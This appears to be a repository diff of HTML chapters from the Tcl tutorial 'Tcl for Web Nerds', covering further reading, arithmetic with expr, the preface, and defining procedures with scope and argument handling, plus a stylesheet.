<li><A HREF="file-commands.adp">File commands</A>
<li><code><A HREF="eval.adp">eval</A></code>: building Tcl commands
with Tcl and feeding them back to Tcl
<li><code><A HREF="exec.adp">exec</A></code>: building Unix commands
with Tcl and feeding them to Unix
<li><A HREF="more.adp">Further Study</A>
<br>
<br>
<a href="book-index.adp">Index</a>
</ol>
<br>
For more information, please see <A
HREF="http://www.aolserver.com">http://www.aolserver.com</A>
<br>
<hr>
Return to <a href="index.adp">Table of Contents</a>
<br>
<br>
<address><a href="mailto:lsandon@alum.mit.edu">lsandon@alum.mit.edu</a></address>
</body>
</html>
This diff is collapsed.
This diff is collapsed.
<html>
<head>
<title>Further Study</title>
<LINK REL=STYLESHEET HREF="tcl_manual.css" TYPE="text/css">
</head>
<body bgcolor=white text=black>
<h2>Further Study</h2>
part of <a href="index.adp">Tcl for Web Nerds</a>
by
<a href="http://www-swiss.ai.mit.edu/~hal/hal.html">Hal Abelson</a>,
<a href="http://philip.greenspun.com/">Philip Greenspun</a>,
and
<a href="http://sandon.org/l/">Lydia Sandon</a>
<hr>
Here are our suggestions for improving your knowledge and skills,
organized by goal.
<h3>I want to make fuller use of Tcl <i>per se</i></h3>
<cite>Tcl for Web Nerds</cite> only covers a small part of Tcl/Tk and
public domain Tcl libraries and extensions.
<P>
If you want to learn how to build graphical user interface (GUI)
applications with the Tk (toolkit), you're best off reading a book on
<b>Tcl/Tk</b>, such as Brent Welch's <a
href="http://www.amazon.com/exec/obidos/ASIN/0130220280/pgreenspun-20"><cite>Practical
Programming in Tcl and Tk</cite></a>. Remember, you've just finished
a book about Tcl the language and haven't learn anything about Tk
because we expect that all the user interface will be handled by a Web
browser.
<a
href="http://www.scriptics.com/resource/doc/books/">http://www.scriptics.com/resource/doc/books/</a>
contains a comprehensive and up-to-date list of the traditional Tcl/Tk
books.
<p>
<a href="http://www.scriptics.com">Scriptics.com</a> is probably the
most likely long-term source of information about significant Tcl
developments.
<h3>I want to become a better Web nerd</h3>
It would be nice if modesty prevented us from recommending our own
books, such as <a href="http://photo.net/wtr/thebook/"><cite>Philip
and Alex's Guide to Web Publishing</cite></a> and <a
href="http://photo.net/sql/"><cite>SQL for Web Nerds</cite></a>, both
available as hyperlinks from <a
href="http://photo.net/wtr/">http://photo.net/wtr/</a>, which also
contains links to Web standards.
<p>
Additional books for Web developers are reviewed at <a
href="http://photo.net/wtr/bookshelf.html">http://photo.net/wtr/bookshelf.html</a>.
<h3>I want to become a better computer scientist</h3>
Sadly, your path to intellectual glory as a computer scientist will
not be smoothed by your knowledge of Tcl. Modesty surely would
prevent Hal from recommending <a
href="http://www.amazon.com/exec/obidos/ASIN/0262011530/pgreenspun-20">
Structure and Interpretation of Computer Programs </a> (Abelson and
Sussman; MIT Press) but it is philg who is typing this page
and he feels comfortable telling anyone to start there.
<hr>
Return to <a href="index.adp">Table of Contents</a>
<br>
<br>
<address><a href="mailto:lsandon@alum.mit.edu">lsandon@alum.mit.edu</a></address>
<center><a href="/comments/add?page_id=4739">Add a comment</a> | <a href="/links/add?page_id=4739">Add a link</a></center>
</body>
</html>
<html>
<head>
<title>Numbers</title>
<LINK REL=STYLESHEET HREF="tcl_manual.css" TYPE="text/css">
</head>
<body bgcolor=white text=black>
<h2>Numbers</h2>
part of <a href="index.adp">Tcl for Web Nerds</a>
by
<a href="http://www-swiss.ai.mit.edu/~hal/hal.html">Hal Abelson</a>,
<a href="http://philip.greenspun.com/">Philip Greenspun</a>,
and
<a href="http://sandon.org/l/">Lydia Sandon</a>
<hr>
Arithmetic is not done directly by the Tcl interpreter. It is done by
calling the C library using the <CODE>expr</CODE> command on arthmetic
expressions. The detailed parsing rules for arithmetic expressions
depend on the particular Unix implementation, but they are more or
less like in C.
<p>
Here are some examples:
<blockquote>
<code><pre>
# integer division truncates
% expr 7 / 2
3
# the percent sign is used to compute integer remainder
% expr 7%2
# floating point propagates
% expr 7.0 / 2
3.5
% expr sin(.5)+cos(.9)
1.10103550687
% # a zero in front of number means to interpret as octal
% expr 017 + 01
16
% # a 0x in front means to interpret as hex
% expr 0xA + 1
11
% # numbers can be treated like strings!
% string length 100.34
6
% string range 100.34 0 2
100
</pre></code>
</blockquote>
More: See <a href="http://www.scriptics.com/man/tcl7.5/TclCmd/expr.n.html">http://www.scriptics.com/man/tcl7.5/TclCmd/expr.n.html</a>.
<H3>Reference</H3>
Here are the numeric functions included in Tcl. (Details may vary
depending on your Unix implementation of <code>expr</code>.)
<CODE>
<UL>
<LI>abs(x)
<LI>asin(x)
<LI>acos(x)
<LI>atan(x)
<LI>atan2(y,x)<br> atan2 returns the angle theta of the polar
coordinates returned when (x,y) is converted to (r, theta).
<LI>ceil(x)
<LI>cos(x)
<LI>cosh(x)
<LI>double(x)<br>returns x as a double or floating point.
<LI>exp(x)<br>returns e^x
<LI>floor(x)
<LI>fmod(x,y)<br>returns the floating point remainder of x/y.
<LI>hypot(x,y)<br>returns the square root of the sum of x squared plus
y squared, the length of the line from (0,0) to (x,y).
<LI>int(x)<br>truncates x to an integer.
<LI>log(x)<br>returns the natural log of x.
<LI>log10(x)<br>returns log base 10 of x.
<LI>pow(x,y)<br>returns x to the y power.
<LI>round(x)
<LI>sin(x)
<LI>sinh(x)
<LI>sqrt(x)
<LI>tan(x)
<LI>tanh(x)
</UL>
</code>
<br>
<br>
Continue on to <a href="control-structure.adp">Control structure</a>
<hr>
Return to <a href="index.adp">Table of Contents</a>
<br>
<br>
<address><a href="mailto:lsandon@alum.mit.edu">lsandon@alum.mit.edu</a></address>
<center><a href="/comments/add?page_id=4730">Add a comment</a> | <a href="/links/add?page_id=4730">Add a link</a></center>
</body>
</html>
This diff is collapsed.
<html>
<head>
<title>Preface</title>
<LINK REL=STYLESHEET HREF="tcl_manual.css" TYPE="text/css">
</head>
<body bgcolor=white text=black>
<h2>Preface</h2>
part of <a href="index.adp">Tcl for Web Nerds</a>
by
<a href="http://www-swiss.ai.mit.edu/~hal/hal.html">Hal Abelson</a>,
<a href="http://philip.greenspun.com/">Philip Greenspun</a>,
and
<a href="http://sandon.org/l/">Lydia Sandon</a>
<hr>
The last thing that the world needs is another tutorial book on the Tcl
programming language. So here's ours...
<p class="stb">
When we sat down to plan a class at MIT on Web service design and
implementation, our first thought was to give the students our
favorite commercial Tcl book: Brent Welch's <a
href="http://www.amazon.com/exec/obidos/ASIN/0136168302/pgreenspun-20"><cite>Practical
Programming in Tcl and Tk</cite></a>. At 630 pages, nobody can accuse
Prentice-Hall of shortchanging the reader on information. Sadly,
however, for the Web nerd most of this information is useless.
Two-thirds of the book is devoted to Tk, a toolkit for constructing
graphical user interfaces. On the Internet, the user interface is a
Web browser. If you're programming a Web service, all you care about
is using Tcl to produce some HTML that gets sent to the client.
<p>
Another problem with using Welch's book for our class is that he is
unable to assume that his readers are primarily interested in
building Web applications. So his examples have to be extremely
generic.
<p>
A final and crushing problem with the book is that it isn't
available on the Web. Even if our students can afford to pony up $40
or $50 for a 630-page book, they probably can't afford the physical
therapy and orthopedic surgery they'd require after lugging it around
from class to class.
<p class="stb">
What about <cite>Tcl for Web Nerds</cite> then? We hope that a
professional programmer or MIT student can breeze through it in one
evening. By the end of the evening, that person should have learned
Tcl, learned a little something about the Web, and not have been
bored.
<p>
It is available on the Web at a permanent URL. If you don't like it,
the authors will happily refund your purchase price. :-)
<br>
<br>
Continue on to <a href="introduction.adp">Introduction</a>
<hr>
Return to <a href="index.adp">Table of Contents</a>
<br>
<br>
<address><a href="mailto:lsandon@alum.mit.edu">lsandon@alum.mit.edu</a></address>
<center><h3>Related Links</h3></center>
<ul><li><a href="http://www.beedub.com/book/">Free copy of Practical Programming in Tcl and Tk</a>- A free draft copy of the first edition of Brent Welch's book.&nbsp;&nbsp; <font size=-1>(contributed by <A HREF="/shared/community-member?user_id=136966">Georg Breazu</a>)</font>
<p>
</ul>
<center><a href="/comments/add?page_id=4722">Add a comment</a> | <a href="/links/add?page_id=4722">Add a link</a></center>
</body>
</html>
<html>
<head>
<title>Procedures</title>
<LINK REL=STYLESHEET HREF="tcl_manual.css" TYPE="text/css">
</head>
<body bgcolor=white text=black>
<h2>Procedures</h2>
part of <a href="index.adp">Tcl for Web Nerds</a>
by
<a href="http://www-swiss.ai.mit.edu/~hal/hal.html">Hal Abelson</a>,
<a href="http://philip.greenspun.com/">Philip Greenspun</a>,
and
<a href="http://sandon.org/l/">Lydia Sandon</a>
<hr>
To define a procedures in Tcl use the following syntax:
<blockquote>
<code><pre>
proc <I>name</I> { <I>list_of_arguments</I> } {
<I>body_expressions</I>
}
</pre></code>
</blockquote>
This creates a procedure with the name "name." Tcl has a global
environment for procedure names, i.e., there can be only one procedure
called "foobar" in a Tcl system.
<P>
The next part of the syntax is the set of arguments, delimited by a
set of curly braces. Each argument value is then mapped into the
procedure body, which is also delimited by curly braces. As before,
each statement of the procedure body can be separated by a semi-colon
or a newline (or both). Here's an example, taken from
<a href="http://photo.net/doc/calendar-widget.html">the calendar widget</a>
component of the ArsDigita Community System:
<blockquote>
<code><pre>
proc calendar_convert_julian_to_ansi { date } {
set db [ns_db gethandle subquery]
# make Oracle do all the real work
set output [database_to_tcl_string $db \
"select trunc(to_date('$date', 'J')) from dual"]
ns_db releasehandle $db
return $output
}
</pre></code>
</blockquote>
Of course in the actual ACS, we encourage programmers to use
<code>proc_doc</code> instead, which defines the procedure but also
records a doc string, as described in <a
href="array-operations.adp">array variable chapter</a>. Here's what
the definition would look like with <code>proc_doc</code>:
<blockquote>
<code><pre>
proc_doc calendar_convert_julian_to_ansi { date } "Return an ANSI date
for a Julian date" {
set db [ns_db gethandle subquery]
# make Oracle do all the real work
set output [database_to_tcl_string $db \
"select trunc(to_date('$date', 'J')) from dual"]
ns_db releasehandle $db
return $output
}
</pre></code>
</blockquote>
<br>
<br>
More: <a href="http://www.scriptics.com/man/tcl7.5/TclCmd/proc.n.html">http://www.scriptics.com/man/tcl7.5/TclCmd/proc.n.html</a>
<H3>Scope, Upvar and Uplevel</H3>
There are three possible scopes for a variable in an AOLserver Tcl
script:
<ul>
<li>local to a procedure (the default)
<li>shared among all procedures executing in one thread
(<code>global</code>)
<li>shared among all threads on a server and persistent from one
connection to another (<code>ns_share</code>)
</ul>
<P>
To use a variable locally, you need not declare it. To instruct the
Tcl interpreter to read and set a variable in the global environment,
you must call <code>global</code> every place that the variable is
used. For example, when side graphics have been displayed on a page,
<code>ad_footer</code> needs to know so that it can insert a <code>&lt;BR
CLEAR=RIGHT&gt;</code> tag.
<blockquote>
<code><pre>
# a proc that might display a side graphic
proc ad_decorate_side {} {
# we use a GLOBAL variable (shared by procs in a thread) as opposed to
# an ns_share (shared by many threads)
<font color=red>global sidegraphic_displayed_p</font>
...
set sidegraphic_displayed_p 1
}
proc ad_footer {{signatory ""}} {
<font color=red>global sidegraphic_displayed_p</font>
if [empty_string_p $signatory] {
set signatory [ad_system_owner]
}
if { [info exists sidegraphic_displayed_p] && $sidegraphic_displayed_p } {
# we put in a BR CLEAR=RIGHT so that the signature will clear any side graphic
# from the ad-sidegraphic.tcl package
set extra_br "&lt;br clear=right&gt;"
} else {
set extra_br ""
}
return "
$extra_br
&lt;hr&gt;
&lt;a href=\"mailto:$signatory\"&gt;&lt;address&gt;$signatory&lt;/address&gt;&lt;/a&gt;
&lt;/body&gt;
&lt;/html&gt;"
}
</pre></code>
</blockquote>
One of the strangest and most difficult to use features of Tcl is the
ability to read and write variables up the calling stack with
<code>uplevel</code> and <code>upvar</code>.
<br>
<br>
More: <a href="http://www.scriptics.com/man/tcl7.5/TclCmd/upvar.n.html">http://www.scriptics.com/man/tcl7.5/TclCmd/upvar.n.html</a>; <a href="http://www.scriptics.com/man/tcl7.5/TclCmd/uplevel.n.html">http://www.scriptics.com/man/tcl7.5/TclCmd/uplevel.n.html</a>; <a href="http://www.scriptics.com/man/tcl7.5/TclCmd/global.n.html">http://www.scriptics.com/man/tcl7.5/TclCmd/global.n.html</a>
<H3>Optional arguments</H3>
Here is an example of a procedure that has one required and one
optional argument:
<blockquote>
<code><pre>
proc ad_header {page_title {extra_stuff_for_document_head ""}} {
set html "&lt;html&gt;
&lt;head&gt;$extra_stuff_for_document_head
&lt;title&gt;$page_title&lt;/title&gt;
&lt;/head&gt;
"
return $html
}
</pre></code>
</blockquote>
If a page calls <code>ad_header</code> with one argument, it gets the
standard appropriate HTML header. If a page supplies the extra
optional argument, that information gets written into the HEAD.
Otherwise, the default value of empty string is used for the second
argument.
<H3>Variable number of arguments</H3>
In addition, Tcl can also provide for a variable number of arguments
at the end, using a special last argument called <code>args</code> in
any procedure definition. After all of the other (previous) arguments
are bound to names, the rest of the arguments are shoved into a list
called <code>args</code> which can then be accessed inside the procedure.
<P>
You could imagine that between optional arguments and extra ones, the
interpreter might get confused. It doesn't, because it assumes that
you aren't using extra args at the end without binding all of the
optional ones in the middle; that is, it stuffs argument values into
the argument names in strict order without regard to options, extras,
etc.
<H3>Rename</H3>
In case this wasn't flexible enough, Tcl lets you rename procedures
using a proc called <code>rename <i>old_name new_name</I></code>. If
you wanted to keep the old proc but still take advantage of the great
abstraction you've used throughout your site (i.e. not change all of
the command calls when you change their bodies), you can rename the
old proc and create a new one with the old one's name. You can
also use <code>rename</code> with the empty string for the second
argument. This results in the proc being deleted.
<br>
<br>
More: <a href="http://www.scriptics.com/man/tcl7.5/TclCmd/rename.n.html">http://www.scriptics.com/man/tcl7.5/TclCmd/rename.n.html</a>
<br>
<br>
Continue on to <A HREF="file-commands.adp">file commands</A>.
<hr>
Return to <a href="index.adp">Table of Contents</a>
<br>
<br>
<address><a href="mailto:lsandon@alum.mit.edu">lsandon@alum.mit.edu</a></address>
<center><a href="/comments/add?page_id=4733">Add a comment</a> | <a href="/links/add?page_id=4733">Add a link</a></center>
</body>
</html>
This diff is collapsed.
body {margin-left: 10% ; margin-right: 10%}
P { margin-top: 0.3em; text-indent : 2em }
P.stb { margin-top: 12pt }
P.mtb { margin-top: 24pt; text-indent : 0in}
P.ltb { margin-top: 36pt; text-indent : 0in}
p.marginnote { background: #E0E0E0;
text-indent: 0in ; padding-left: 5%; padding-right: 5%; padding-top: 3pt;
font-size: 75%}
p.bodynote { background-color: #E0E0E0 }
p.paperonly { background-color: #E0E0E0 }
ul {margin-top: .5em; margin-bottom: .5em ; margin-left: 2em ; margin-right : 2em}
li {margin-bottom: 0.2em}
li.separate { margin-top: 12pt }
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment